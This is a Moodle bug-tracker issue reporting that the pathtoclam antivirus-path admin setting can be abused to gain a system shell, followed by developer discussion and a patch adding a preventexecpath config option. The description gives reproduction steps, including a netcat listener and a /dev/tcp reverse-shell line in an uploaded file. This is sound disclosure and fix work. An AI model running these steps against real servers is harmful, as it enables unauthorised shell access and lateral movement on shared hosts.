Moodle
  1. Moodle
  2. MDL-35852

PRIVESC: admin setting pathtoclam can be abused to gain a system shell

    Details

    • Testing Instructions:
      Hide
      1. set this in config.php: $CFG->preventexecpath = true;
      2. visit admin settings that use execpath (admin > server > system paths)
      3. check to make sure a warning is displayed to say the values are disabled in config.php
      4. try to edit/change the settings/save and then check to see if the settings were changed.
      5. NOTE: as per hardcoding of other $CFG vars it doesn't lock the field - it just prevents saving over the top of the hardcoded values.
      Show
      set this in config.php: $CFG->preventexecpath = true; visit admin settings that use execpath (admin > server > system paths) check to make sure a warning is displayed to say the values are disabled in config.php try to edit/change the settings/save and then check to see if the settings were changed. NOTE: as per hardcoding of other $CFG vars it doesn't lock the field - it just prevents saving over the top of the hardcoded values.
    • Affected Branches:
      MOODLE_23_STABLE
    • Fixed Branches:
      MOODLE_25_STABLE
    • Pull Master Branch:
      master_MDL-35852
    • Rank:
      44615

      Description

      If a malicious admin has access to the server, and can create an executeable file then they could abuse the pathtoclam setting to gain shell access as the user running the web server.
      On earlier versions, it may use the upload_manager class instead of the repositories api to scan the file so this existing access may not be needed

      Steps:

      • Web Admin to create a file /home/admin/bash with following contents
        #!/bin/bash
        shift;/bin/bash $*
        (the shift is to get rid of the --stdout argument passed in on repository/lib.php line 1082)
      • Web Admin to start a listener using nc or equivalent
        nc -l 127.0.0.1 -p 4444
      • Set pathtoclam to /home/admin/bash, and set runclamonupload to true
      • Upload a file with contents such as
        #!/bin/bash
        /bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
      • In the nc session, the user now has a shell session started by web server

      This could potentially be done by any user if there are CSRF vulnerable parts of Moodle
      that could use that attack to set the pathtoclam on behalf of the admin, the actual
      uploading of a file to get the shell can be done by any user.

      Once a shell is established, a backdoor could be setup.

      If in earlier versions, the clam scan doesn't run in repository/lib.php but instead in
      lib/uploadlib.php, then the existing access is not needed, and you could use instead a
      pathtoclam of /bin/bash, as there is no --stdout argument.

      Cheers,

      Hugh

      1. MDL-35852.patch
        3 kB
        Hugh Davenport
      2. MDL-35852.patch
        3 kB
        Hugh Davenport

        Activity

        Hide
        Hugh Davenport added a comment -

        For a fix, I would suggest disabling the pathtoclam option from the web, and only allow it being set via config.php

        Show
        Hugh Davenport added a comment - For a fix, I would suggest disabling the pathtoclam option from the web, and only allow it being set via config.php
        Hide
        Michael de Raadt added a comment -

        Thanks for reporting this.

        While this is in the hands of admins only, I don't think this is a serious security issue.

        Show
        Michael de Raadt added a comment - Thanks for reporting this. While this is in the hands of admins only, I don't think this is a serious security issue.
        Hide
        Hugh Davenport added a comment -

        Hi Michael,

        I would tend to disagree here. I would argue that the Moodle admin is not the same as the underlying system admin (or web admin).

        The installation of an antivirus software requires a system administrator and there is no way the Moodle admin could install that via moodle, so there should be no need to configure it there.

        If for example, you have a shared hosting setup with several moodles (and possibly other applications) all running as the www-data user (ie through apache), then this vulnerability would allow an admin from one moodle to gain access to another completely unrelated moodle or other application (as they would be able to read config files, alter databases etc)

        Sure, on a system where only one moodle is hosted it isn't that big an information loss, but in a situation where there are multiple unrelated web apps then it is quite a large leak of information.

        Cheers,

        Hugh

        Show
        Hugh Davenport added a comment - Hi Michael, I would tend to disagree here. I would argue that the Moodle admin is not the same as the underlying system admin (or web admin). The installation of an antivirus software requires a system administrator and there is no way the Moodle admin could install that via moodle, so there should be no need to configure it there. If for example, you have a shared hosting setup with several moodles (and possibly other applications) all running as the www-data user (ie through apache), then this vulnerability would allow an admin from one moodle to gain access to another completely unrelated moodle or other application (as they would be able to read config files, alter databases etc) Sure, on a system where only one moodle is hosted it isn't that big an information loss, but in a situation where there are multiple unrelated web apps then it is quite a large leak of information. Cheers, Hugh
        Hide
        Petr Škoda added a comment - - edited

        There are very many other settings or features that allow you to gain shell access if you are moodle admin - any binary in settings, language packs, etc. This is not considered to be a bug, the reason is that Moodle is supposed to be configurable from web interface running under the same session like the rest of Moodle pages.

        If you want your admin to not be able to change some setting you can hardcode it in your config.php - this prevents the setting to be modified from Moodle UI.

        Show
        Petr Škoda added a comment - - edited There are very many other settings or features that allow you to gain shell access if you are moodle admin - any binary in settings, language packs, etc. This is not considered to be a bug, the reason is that Moodle is supposed to be configurable from web interface running under the same session like the rest of Moodle pages. If you want your admin to not be able to change some setting you can hardcode it in your config.php - this prevents the setting to be modified from Moodle UI.
        Hide
        Dan Marsden added a comment -

        Hi Petr,

        we had an internal discussion about this today and I think there's a case to re-open this - maybe setting it as an improvement rather than a bug.

        I wonder if we could create a new var called something like "lockpathadminvars" that we could set in config.php that would lock these settings and prevent them from being editable by logged in users?

        We should be able to trust most of the Admin users on our clients installations so IMO this is still only a minor security issue but I still think there should be a better more reliable way to prevent admin users from being able to gain access to the shell where possible. - thoughts?

        Show
        Dan Marsden added a comment - Hi Petr, we had an internal discussion about this today and I think there's a case to re-open this - maybe setting it as an improvement rather than a bug. I wonder if we could create a new var called something like "lockpathadminvars" that we could set in config.php that would lock these settings and prevent them from being editable by logged in users? We should be able to trust most of the Admin users on our clients installations so IMO this is still only a minor security issue but I still think there should be a better more reliable way to prevent admin users from being able to gain access to the shell where possible. - thoughts?
        Hide
        Dan Marsden added a comment -

        yeah - I'm re-opening this one,
        Moodle Admin user !== Sysadmin

        I'll change this to an improvement rather than a bug as it's expected behaviour but I think we can improve it. Petr are you happy for us to add some form of global $CFG setting to prevent users from changing this - or is there some other way you would like us to implement this.

        Show
        Dan Marsden added a comment - yeah - I'm re-opening this one, Moodle Admin user !== Sysadmin I'll change this to an improvement rather than a bug as it's expected behaviour but I think we can improve it. Petr are you happy for us to add some form of global $CFG setting to prevent users from changing this - or is there some other way you would like us to implement this.
        Hide
        Dan Marsden added a comment -

        I guess another option would be to include a section in config-dist.php that contained a list of these sorts of vars and a warning stating that access to these vars allows shell access so to improve security they should be set in config.php

        Show
        Dan Marsden added a comment - I guess another option would be to include a section in config-dist.php that contained a list of these sorts of vars and a warning stating that access to these vars allows shell access so to improve security they should be set in config.php
        Hide
        Petr Škoda added a comment -

        I do not understand, since cca 1.5 anything you put into config.php overrides the CFG settings from admin UI. In some later version around 2.0 it works for plugin settings too. It was designed to prevent admins from changing the setting via admin UI.

        Show
        Petr Škoda added a comment - I do not understand, since cca 1.5 anything you put into config.php overrides the CFG settings from admin UI. In some later version around 2.0 it works for plugin settings too. It was designed to prevent admins from changing the setting via admin UI.
        Hide
        Dan Marsden added a comment -

        adding some other Moodle Partners here that provide shared hosting for their clients - would be interested in your feedback on this as well - even if to say that you think we should have an easier way to prevent this.

        Show
        Dan Marsden added a comment - adding some other Moodle Partners here that provide shared hosting for their clients - would be interested in your feedback on this as well - even if to say that you think we should have an easier way to prevent this.
        Hide
        Dan Marsden added a comment -

        Hi Petr - having it in config.php might be the answer - maybe we just need a list of them in config-dist.php that should be set?

        Show
        Dan Marsden added a comment - Hi Petr - having it in config.php might be the answer - maybe we just need a list of them in config-dist.php that should be set?
        Hide
        Petr Škoda added a comment -

        List might work for core, but you never know what setting is in plugin. Virtual machines seem to me to be the only reasonably secure way to separate customers on one physical server.

        Show
        Petr Škoda added a comment - List might work for core, but you never know what setting is in plugin. Virtual machines seem to me to be the only reasonably secure way to separate customers on one physical server.
        Hide
        Hugh Davenport added a comment -

        A mockup of the idea suggested in Dan's first comment.

        This adds a new config option (allowexecpath) which when set will not let any admin user change the value of an executable path.

        This should also affect third party plugins that use the admin_setting_configexecutable class.

        Some limitations of it:

        • It will only affect values that use the admin_setting_configexecutable class
        • It doesn't disable the field, but won't update it either (same functionality as overridden in config.php values)
        Show
        Hugh Davenport added a comment - A mockup of the idea suggested in Dan's first comment. This adds a new config option (allowexecpath) which when set will not let any admin user change the value of an executable path. This should also affect third party plugins that use the admin_setting_configexecutable class. Some limitations of it: It will only affect values that use the admin_setting_configexecutable class It doesn't disable the field, but won't update it either (same functionality as overridden in config.php values)
        Hide
        Hugh Davenport added a comment -

        This patch fixes an issue that you can't actually submit any page that has an executable config on it

        Show
        Hugh Davenport added a comment - This patch fixes an issue that you can't actually submit any page that has an executable config on it
        Hide
        Hugh Davenport added a comment -

        Hey guys,

        Have you had a chance to look at this yet?

        Cheers,

        Hugh

        Show
        Hugh Davenport added a comment - Hey guys, Have you had a chance to look at this yet? Cheers, Hugh
        Hide
        Michael de Raadt added a comment -

        It would be good to review this issue.

        Show
        Michael de Raadt added a comment - It would be good to review this issue.
        Hide
        Ashley Holman added a comment -

        Agreed it would be nice to have a simple $CFG settomg to lock all config options relating to executable paths. This ensures we can stay safe in future without having to audit every upgrade for new options. The admin_setting_configexecutable class seems like a nice solution for this.

        BTW we run PHP FPM and each client has their own FPM worker pool running as a separate user, so the issue about shared servers is not such a threat under this setup. But still, we definitely do not want users being able to execute arbitrary commands.

        Show
        Ashley Holman added a comment - Agreed it would be nice to have a simple $CFG settomg to lock all config options relating to executable paths. This ensures we can stay safe in future without having to audit every upgrade for new options. The admin_setting_configexecutable class seems like a nice solution for this. BTW we run PHP FPM and each client has their own FPM worker pool running as a separate user, so the issue about shared servers is not such a threat under this setup. But still, we definitely do not want users being able to execute arbitrary commands.
        Hide
        Jason Fowler added a comment - - edited

        [Y] Syntax
        [Y] Output
        [Y] Whitespace
        [Y] Language
        [-] Databases
        [Y] Testing
        [-] Security
        [-] Documentation
        [N] Git
        [Y] Sanity check

        Dan, as this is a security issue, it needs to be submitted as a patch, not a github branch.

        And yeah, I consider this to be something of concern. I'd be a little upset if I installed moodle on my server for a friend to use, and they gained shell access out of it.

        Show
        Jason Fowler added a comment - - edited [Y] Syntax [Y] Output [Y] Whitespace [Y] Language [-] Databases [Y] Testing [-] Security [-] Documentation [N] Git [Y] Sanity check Dan, as this is a security issue, it needs to be submitted as a patch, not a github branch. And yeah, I consider this to be something of concern. I'd be a little upset if I installed moodle on my server for a friend to use, and they gained shell access out of it.
        Show
        Dan Marsden added a comment - thanks - soo.... https://github.com/danmarsden/moodle/compare/master...master_MDL-35852.patch
        Hide
        Jason Fowler added a comment -

        what I meant was it need to be uploaded to the tracker as a file attachment, so that others without security clearance can't see it.

        Show
        Jason Fowler added a comment - what I meant was it need to be uploaded to the tracker as a file attachment, so that others without security clearance can't see it.
        Hide
        Dan Marsden added a comment -

        yeah - I figured that - this is a minor sec issue so it's visible to anyone in the dev or testers group anyway and it's in my github repo already.. integrators feel free to merge from my git repo or use the patch file link instead.

        Show
        Dan Marsden added a comment - yeah - I figured that - this is a minor sec issue so it's visible to anyone in the dev or testers group anyway and it's in my github repo already.. integrators feel free to merge from my git repo or use the patch file link instead.
        Hide
        Dan Poltawski added a comment -

        The main moodle.git repository has just been updated with latest weekly modifications. You may wish to rebase your PULL branches to simplify history and avoid any possible merge conflicts. This would also make integrator's life easier next week.

        TIA and ciao

        Show
        Dan Poltawski added a comment - The main moodle.git repository has just been updated with latest weekly modifications. You may wish to rebase your PULL branches to simplify history and avoid any possible merge conflicts. This would also make integrator's life easier next week. TIA and ciao
        Hide
        Dan Marsden added a comment -

        rebased.

        Show
        Dan Marsden added a comment - rebased.
        Hide
        Dan Poltawski added a comment -

        I agree this is an improvement and a known issue, so i'm going to remove the security flag because its not necessary to hide this issue.

        Show
        Dan Poltawski added a comment - I agree this is an improvement and a known issue, so i'm going to remove the security flag because its not necessary to hide this issue.
        Hide
        Dan Poltawski added a comment -

        Hi Dan,

        1. It really really seems much less ugly to put the execpathnotallowed message in admin_setting_configexecutable rather than putting in some conditionalc code in format_admin_setting?
        2. Is there a reason why you are doing get_config rather than using $CFG? I just ask because right now doing it that way is expensive (it'll cause a DB query)

        (I also had a thought of whether it would be safer to check for execpathnotallowed in $CFG->config_php_settings for this setting, but went against it)

        Dan

        Show
        Dan Poltawski added a comment - Hi Dan, It really really seems much less ugly to put the execpathnotallowed message in admin_setting_configexecutable rather than putting in some conditionalc code in format_admin_setting? Is there a reason why you are doing get_config rather than using $CFG? I just ask because right now doing it that way is expensive (it'll cause a DB query) (I also had a thought of whether it would be safer to check for execpathnotallowed in $CFG->config_php_settings for this setting, but went against it) Dan
        Hide
        CiBoT added a comment -

        Moving this reopened issue out from current integration. Please, re-submit it for integration once ready.

        Show
        CiBoT added a comment - Moving this reopened issue out from current integration. Please, re-submit it for integration once ready.
        Hide
        Dan Marsden added a comment -

        1- makes perfect sense, updated patch.
        2 - not sure why Hugh did that - I forgot that get_config forced db query and missed it during my review.

        updated patch - thanks.

        Show
        Dan Marsden added a comment - 1- makes perfect sense, updated patch. 2 - not sure why Hugh did that - I forgot that get_config forced db query and missed it during my review. updated patch - thanks.
        Hide
        Dan Poltawski added a comment -

        Integrated to master, thanks

        Show
        Dan Poltawski added a comment - Integrated to master, thanks
        Hide
        Rossiani Wijaya added a comment -

        This is working as expected.

        Test it for master.

        Test passed.

        Show
        Rossiani Wijaya added a comment - This is working as expected. Test it for master. Test passed.
        Hide
        Eloy Lafuente (stronk7) added a comment -

        Did you think this day was not going to arrive ever?

        Your patience has been rewarded, yay, sent upstream, thanks!

        Closing...ciao

        Show
        Eloy Lafuente (stronk7) added a comment - Did you think this day was not going to arrive ever? Your patience has been rewarded, yay, sent upstream, thanks! Closing...ciao

          People

          • Votes:
            1 Vote for this issue
            Watchers:
            8 Start watching this issue

            Dates

            • Created:
              Updated:
              Resolved: